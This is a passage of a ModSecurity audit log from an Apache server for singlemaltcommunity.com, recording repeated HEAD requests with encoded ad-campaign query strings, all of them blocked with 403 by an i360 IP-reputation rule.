HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--24ef961b-E--

--24ef961b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265008710040 5668 (- - -)
Stopwatch2: 1789265008710040 5668; combined=4209, p1=209, p2=3626, p3=73, p4=6, p5=295, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24ef961b-Z--

--d53b8d0f-A--
[13/Sep/2026:05:03:28.796537 +0300] aqYEcGM7dE9KgIIOpQhb7gAAANg 151.243.174.162 54460 127.0.0.1 7081
--d53b8d0f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d53b8d0f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d53b8d0f-E--

--d53b8d0f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265008791109 5466 (- - -)
Stopwatch2: 1789265008791109 5466; combined=3998, p1=228, p2=3465, p3=58, p4=6, p5=241, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d53b8d0f-Z--

--614e4c16-A--
[13/Sep/2026:05:03:29.335417 +0300] aqYEcUwu1RSkptiiNIXsygAAAIs 95.134.102.78 54466 127.0.0.1 7081
--614e4c16-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--614e4c16-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--614e4c16-E--

--614e4c16-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265009328878 6595 (- - -)
Stopwatch2: 1789265009328878 6595; combined=5112, p1=927, p2=3890, p3=61, p4=6, p5=228, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--614e4c16-Z--

--5fc84942-A--
[13/Sep/2026:05:03:30.089662 +0300] aqYEcmM7dE9KgIIOpQhb8AAAANM 151.243.174.45 54500 127.0.0.1 7081
--5fc84942-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5fc84942-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5fc84942-E--

--5fc84942-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265010084190 5510 (- - -)
Stopwatch2: 1789265010084190 5510; combined=4118, p1=229, p2=3526, p3=60, p4=7, p5=296, sr=85, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5fc84942-Z--

--c6df4b20-A--
[13/Sep/2026:05:03:49.251695 +0300] aqYEhTTJ6xTvcJoem7f1FAAAAEY 151.243.174.160 58842 127.0.0.1 7081
--c6df4b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.160
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--c6df4b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c6df4b20-E--

--c6df4b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265029245127 6664 (- - -)
Stopwatch2: 1789265029245127 6664; combined=4911, p1=298, p2=4132, p3=73, p4=7, p5=401, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6df4b20-Z--

--6e6dad48-A--
[13/Sep/2026:05:03:50.743482 +0300] aqYEhmM7dE9KgIIOpQhb9QAAAMk 95.134.102.199 58856 127.0.0.1 7081
--6e6dad48-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.199
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6e6dad48-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6e6dad48-E--

--6e6dad48-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265030737264 6256 (- - -)
Stopwatch2: 1789265030737264 6256; combined=4771, p1=228, p2=4209, p3=80, p4=8, p5=246, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e6dad48-Z--

--6376c723-A--
[13/Sep/2026:05:03:52.208228 +0300] aqYEiDTJ6xTvcJoem7f1FQAAAFU 151.243.174.103 58868 127.0.0.1 7081
--6376c723-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6376c723-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6376c723-E--

--6376c723-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265032194356 13912 (- - -)
Stopwatch2: 1789265032194356 13912; combined=10550, p1=1019, p2=9104, p3=149, p4=14, p5=264, sr=140, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6376c723-Z--

--53c0f73b-A--
[13/Sep/2026:05:04:18.701320 +0300] aqYEokwu1RSkptiiNIXs0wAAAIU 45.91.4.240 56250 127.0.0.1 7081
--53c0f73b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--53c0f73b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--53c0f73b-E--

--53c0f73b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265058693483 7876 (- - -)
Stopwatch2: 1789265058693483 7876; combined=5490, p1=484, p2=4657, p3=84, p4=9, p5=256, sr=186, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--53c0f73b-Z--

--3e65fa7e-A--
[13/Sep/2026:05:04:19.185274 +0300] aqYEozTJ6xTvcJoem7f1FwAAAE4 45.91.4.243 56254 127.0.0.1 7081
--3e65fa7e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.243
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3e65fa7e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3e65fa7e-E--

--3e65fa7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265059178185 7127 (- - -)
Stopwatch2: 1789265059178185 7127; combined=5272, p1=223, p2=4662, p3=78, p4=8, p5=300, sr=91, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e65fa7e-Z--

--d035486c-A--
[13/Sep/2026:05:04:19.622447 +0300] aqYEozTJ6xTvcJoem7f1GAAAAEw 209.101.128.25 56264 127.0.0.1 7081
--d035486c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d035486c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d035486c-E--

--d035486c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265059615965 6528 (- - -)
Stopwatch2: 1789265059615965 6528; combined=4984, p1=203, p2=4385, p3=75, p4=9, p5=311, sr=83, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d035486c-Z--

--855a7c45-A--
[13/Sep/2026:05:04:24.307484 +0300] aqYEqDTJ6xTvcJoem7f1GwAAAFI 151.243.174.114 56288 127.0.0.1 7081
--855a7c45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.114
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--855a7c45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--855a7c45-E--

--855a7c45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064298936 8592 (- - -)
Stopwatch2: 1789265064298936 8592; combined=6473, p1=293, p2=5627, p3=131, p4=9, p5=412, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--855a7c45-Z--

--99589b4d-A--
[13/Sep/2026:05:04:24.487316 +0300] aqYEqGM7dE9KgIIOpQhb@AAAANA 151.243.174.45 56302 127.0.0.1 7081
--99589b4d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--99589b4d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--99589b4d-E--

--99589b4d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064472787 14596 (- - -)
Stopwatch2: 1789265064472787 14596; combined=7096, p1=272, p2=6352, p3=123, p4=10, p5=339, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--99589b4d-Z--

--24ef961b-A--
[13/Sep/2026:05:04:24.650357 +0300] aqYEqDTJ6xTvcJoem7f1HAAAAFM 95.134.102.249 56304 127.0.0.1 7081
--24ef961b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--24ef961b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--24ef961b-E--

--24ef961b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064641802 8597 (- - -)
Stopwatch2: 1789265064641802 8597; combined=6379, p1=320, p2=5692, p3=90, p4=11, p5=266, sr=138, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24ef961b-Z--

--d2037d44-A--
[13/Sep/2026:05:04:24.769463 +0300] aqYEqGM7dE9KgIIOpQhb@QAAAMw 95.134.102.169 56318 127.0.0.1 7081
--d2037d44-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d2037d44-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d2037d44-E--

--d2037d44-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064761669 7841 (- - -)
Stopwatch2: 1789265064761669 7841; combined=5733, p1=279, p2=5051, p3=89, p4=9, p5=305, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d2037d44-Z--

--1853b25c-A--
[13/Sep/2026:05:04:25.426360 +0300] aqYEqUwu1RSkptiiNIXs1QAAAIk 151.243.174.19 56324 127.0.0.1 7081
--1853b25c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.19
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--1853b25c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1853b25c-E--

--1853b25c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265065418750 7650 (- - -)
Stopwatch2: 1789265065418750 7650; combined=5552, p1=308, p2=4880, p3=85, p4=8, p5=270, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1853b25c-Z--

--508be801-A--
[13/Sep/2026:05:04:25.963041 +0300] aqYEqUwu1RSkptiiNIXs1wAAAI8 151.243.174.18 38662 127.0.0.1 7081
--508be801-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.18
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--508be801-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--508be801-E--

--508be801-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265065956645 6437 (- - -)
Stopwatch2: 1789265065956645 6437; combined=4821, p1=297, p2=4208, p3=73, p4=7, p5=235, sr=138, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--508be801-Z--

--8f3d6f08-A--
[13/Sep/2026:05:04:40.399517 +0300] aqYEuGM7dE9KgIIOpQhb-QAAAM8 95.134.102.128 43634 127.0.0.1 7081
--8f3d6f08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8f3d6f08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8f3d6f08-E--

--8f3d6f08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265080386902 12660 (- - -)
Stopwatch2: 1789265080386902 12660; combined=5982, p1=962, p2=4636, p3=86, p4=9, p5=289, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8f3d6f08-Z--

--e768f17c-A--
[13/Sep/2026:05:04:44.776187 +0300] aqYEvGM7dE9KgIIOpQhb-wAAANU 95.134.102.190 43654 127.0.0.1 7081
--e768f17c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e768f17c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e768f17c-E--

--e768f17c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265084769990 6235 (- - -)
Stopwatch2: 1789265084769990 6235; combined=4644, p1=252, p2=3997, p3=108, p4=7, p5=279, sr=107, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e768f17c-Z--

--b9d01776-A--
[13/Sep/2026:05:04:48.731194 +0300] aqYEwEwu1RSkptiiNIXs3AAAAJY 151.243.174.181 60894 127.0.0.1 7081
--b9d01776-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b9d01776-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b9d01776-E--

--b9d01776-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
